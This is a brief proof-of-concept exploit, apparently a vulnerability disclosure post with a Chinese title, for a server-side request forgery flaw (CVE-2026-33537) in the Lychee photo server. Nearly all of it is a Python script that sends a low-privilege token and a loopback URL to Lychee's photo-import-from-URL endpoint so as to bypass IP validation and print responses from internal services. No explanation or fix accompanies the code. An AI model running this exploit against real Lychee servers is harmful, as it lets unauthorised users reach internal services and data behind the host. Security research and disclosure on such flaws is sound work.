CVE-2026-33537 Lychee存在SSRF漏洞

import requests def exploit_ssrf(target_url, internal_ip, auth_token): """ PoC for CVE-2026-33537 Demonstrates bypass of IP validation to access internal services. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # The endpoint responsible for importing photos from URL endpoint = f"{target_url}/api/Photo::fromUrl" # Payload targeting loopback address (bypassing the incomplete check) payload = { "url": f"http://{internal_ip}" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SSRF Successful! Response from internal service:\n{response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": TARGET = "http://vulnerable-lychee-instance.com" INTERNAL_TARGET = "127.0.0.1:80" # Loopback address TOKEN = "LOW_PRIVILEGE_USER_TOKEN" exploit_ssrf(TARGET, INTERNAL_TARGET, TOKEN)